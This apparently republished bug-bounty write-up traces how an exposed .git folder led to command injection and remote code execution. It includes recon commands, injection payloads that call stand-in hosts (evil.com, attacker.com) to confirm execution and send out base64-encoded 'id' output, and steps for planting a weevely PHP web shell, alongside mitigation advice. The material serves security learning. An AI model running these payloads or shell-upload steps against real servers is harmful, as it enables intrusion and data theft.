From Exposed git to 0,000 RCE – How a Forgotten Folder Became a Critical Bug + Video

Listen to this Post

Featured Image

Introduction:

An exposed `.git` directory is often dismissed by security teams as a low-priority information disclosure – a mere source code leak with limited immediate impact. However, as demonstrated by researcher Lev Shmelev in a private bug bounty program, this seemingly minor misconfiguration can serve as the entry point for a devastating chain of attacks leading to full Remote Code Execution (RCE) across multiple hosts. What started as a simple reconnaissance hit from Nuclei evolved into a $10,000 critical severity finding, proving that the true danger of an exposed `.git` folder lies not in the exposure itself, but in the secrets, logic, and vulnerabilities hidden within the recovered source code.

Learning Objectives:

  • Understand the attack chain from exposed `.git` directory discovery to full Remote Code Execution.
  • Learn how to use reconnaissance tools like Amass, Aquatone, and Nuclei to identify exposed repositories.
  • Master the use of `git-dumper` to reconstruct source code from an exposed `.git` folder.
  • Identify common coding pitfalls, such as unsanitized user input in `shell_exec()` functions, that lead to RCE.
  • Develop the skills to chain multiple weaknesses – hardcoded secrets, input validation flaws, and writable directories – into a critical exploit.
  1. The Reconnaissance Phase – Finding the Exposed .git Directory

The journey to RCE begins not with exploitation, but with thorough reconnaissance. In the case of Lev Shmelev, the initial discovery was made using a custom bash script that chains together several powerful open-source tools.

A typical reconnaissance workflow to uncover exposed `.git` directories involves:

  1. Subdomain Enumeration with Amass: Use `amass` to perform active and brute-force subdomain enumeration against the target domain.
    amass enum -active -d target.com -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt
    
  2. Screenshotting and Port Scanning with Aquatone: Pipe the discovered subdomains into `aquatone` to take screenshots and identify open ports and web servers.
    cat amass.txt | aquatone -ports xlarge -out aqua_target
    
  3. Vulnerability Scanning with Nuclei: Finally, feed the list of discovered URLs into `nuclei` with a comprehensive template set to scan for known vulnerabilities, including exposed `.git` directories.
    nuclei -l aqua_target/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_target.txt
    

    This three-step process efficiently sifts through a large number of hosts to identify low-hanging fruit like exposed version control folders. The output from Nuclei will clearly flag any host with an accessible `.git/` directory, providing the initial foothold.

  4. Dumping the Repository – Reconstructing the Source Code

Discovering an exposed `.git` directory is just the beginning. The next critical step is to download the entire repository to reconstruct the source code, configuration files, and commit history.

The most effective tool for this task is git-dumper, a Python-based utility designed specifically for this purpose.

git-dumper http://example.com/.git/ /path/to/local/output

This command recursively downloads all accessible objects from the remote `.git` directory, allowing you to rebuild the entire project locally. Once downloaded, you can use standard Git commands to explore the repository’s history, branches, and file structure.

cd /path/to/local/output
git log --oneline
git checkout .

By reconstructing the repository, an attacker gains full visibility into the application’s inner workings, including internal APIs, deployment scripts, and, most critically, hardcoded credentials.

  1. Static Code Analysis – Hunting for Vulnerabilities and Secrets

With the full source code in hand, the real hunt begins. The objective is to identify sensitive information and exploitable code patterns. In Lev Shmelev’s case, this analysis revealed a critical flaw: a `shell_exec()` call that processed unsanitized user input.

Key areas to scrutinize during static analysis include:

  • Hardcoded Secrets: Search for API keys, database passwords, and authentication tokens. Use `grep` to find common patterns.
    grep -r "secret" --include=".php" --include=".env" .
    grep -r "password" --include=".php" --include=".yml" .
    
  • Dangerous Functions: Identify the use of system-level execution functions like shell_exec(), system(), exec(), and eval().
    grep -r "shell_exec" --include=".php" .
    grep -r "eval(" --include=".php" .
    
  • Configuration Files: Review .env, .ini, config.php, and YAML files for database credentials, internal endpoint URLs, and debug settings.
  • Deployment Logic: Examine CI/CD scripts (e.g., .github/workflows/, Jenkinsfile) for embedded secrets or internal service dependencies.

In the target application, the researcher discovered that the `shell_exec()` function was used to manage FTP users and took an unfiltered `deluser` parameter, directly from user input.

  1. Chaining the Exploit – From Code Analysis to RCE

The discovery of a vulnerable function is only part of the equation. To achieve RCE, the researcher had to chain together multiple weaknesses found during the code audit:

  1. Input Validation Bypass: The application required specific hardcoded secret keys to be passed as parameters (secret1 and secret2) for the script to execute. These were found directly in the source code.
  2. Crafting the Payload: The final request structure was identified as:
    http://example.com/ftp-upload/sync.php?deluser=someuser&secret1=[bash]&secret2=[bash]
    

    The `deluser` parameter was the entry point for command injection into the `shell_exec()` function.

  3. Validating the Vulnerability: A test curl request was sent to confirm command execution:
    curl "http://example.com/ftp-upload/sync.php?deluser=someuser; curl https://evil.com/test&secret1=SECRET1&secret2=SECRET2"
    

    A successful connection to the attacker’s server confirmed the injection.

  4. Data Exfiltration: To read command output, the researcher used a payload that executed id, base64-encoded the output, and sent it to their server via a curl request:
    someusr; curl https://evil.com/$(id|base64|tr -d "\n");
    

  5. Achieving Full Remote Code Execution – Uploading a Web Shell

With command injection validated, the final step was to establish persistent access. The primary obstacle was the lack of write permissions in the current working directory.

The solution was to find a writable directory – in this case, `uploads/` – and upload a web shell. The process unfolded as follows:

  1. Generate a Web Shell: Use a tool like `weevely` to generate a PHP web shell.
    weevely generate password shell.php
    
  2. Host the Shell: Save the shell content locally and host it on an attacker-controlled server.
  3. Create a Tunnel (Optional): Use `ngrok` to expose the local server to the internet if necessary.
  4. Deploy the Shell: Send a payload that downloads the shell from the attacker’s server and saves it to the writable `uploads/` directory.
    curl "http://example.com/ftp-upload/sync.php?deluser=someuser; curl https://attacker.com/shell.php -o uploads/shell.php&secret1=SECRET1&secret2=SECRET2"
    
  5. Connect to the Shell: Finally, use `weevely` to connect to the uploaded shell and gain interactive access to the server.
    weevely http://example.com/uploads/shell.php password
    

6. Mitigation and Defense Strategies

To prevent this type of attack chain, organizations must adopt a multi-layered defense strategy:

  • Prevent .git Exposure: The most fundamental step is to ensure that `.git` directories are not accessible via the web. Configure web servers (Apache, Nginx) to block access to all hidden directories.
  • Apache: Use `.htaccess` or virtual host configuration:
    RedirectMatch 404 /..$
    
  • Nginx:
    location ~ /.git {
    deny all;
    }
    
  • Secure Coding Practices: Never use functions like `shell_exec()` with unsanitized user input. Always validate, sanitize, and use parameterized approaches or safer APIs.
  • Eliminate Hardcoded Secrets: Use environment variables or secure vaults (e.g., HashiCorp Vault) to manage secrets, never embedding them directly in source code.
  • Principle of Least Privilege: Ensure web server processes have minimal write permissions. In the case study, the writable `uploads/` directory was a critical enabler for the final shell upload.
  • Regular Security Audits: Implement automated SAST/DAST tools in the CI/CD pipeline to detect exposed secrets and dangerous function calls before they reach production.

What Undercode Say:

  • Key Takeaway 1: An exposed `.git` directory is a critical entry point, not an informational finding. The true impact lies in the secrets, logic, and vulnerabilities hidden within the recovered source code.
  • Key Takeaway 2: The most devastating exploits are often chains of simple weaknesses – an exposed folder, hardcoded credentials, and an unsanitized input – combined to achieve a critical outcome.

Analysis: This case study from Lev Shmelev is a masterclass in modern bug hunting. It underscores a crucial shift in perspective: treating every finding as a potential piece of a larger puzzle. The researcher didn’t just report the exposed `.git` directory; they invested the time to reconstruct the repository, audit the code, and chain together multiple low-severity issues into a critical RCE. This approach, as highlighted by Logan Campbell, is what separates top-tier hunters from those who stop at surface-level findings. The $10,000 bounty is a testament to the value of deep-dive analysis and the critical importance of treating source code exposure as a severe security incident. It also serves as a stark reminder that in the world of application security, the “low-hanging fruit” often holds the keys to the entire kingdom.

Prediction:

  • +1 The increasing use of automated scanners and AI-driven code analysis will make it easier for both attackers and defenders to identify exposed repositories and the vulnerabilities within them, raising the baseline of security for many organizations.
  • +1 Bug bounty programs will continue to reward chain exploits like this, encouraging researchers to think beyond the initial finding and driving a more holistic approach to security testing.
  • -1 As this attack vector becomes more widely known and weaponized, we can expect a surge in automated attacks targeting exposed `.git` directories, leading to a wave of data breaches and supply chain compromises.
  • -1 The reliance on hardcoded secrets in many legacy and rapidly developed applications will remain a persistent problem, making this attack chain viable for years to come.
  • -1 Organizations that fail to implement proper web server configurations and secure coding practices will remain vulnerable, with a single forgotten `.git` folder potentially exposing their entire digital infrastructure.

▶️ Related Video (78% Match):

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: Appsec Dos – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky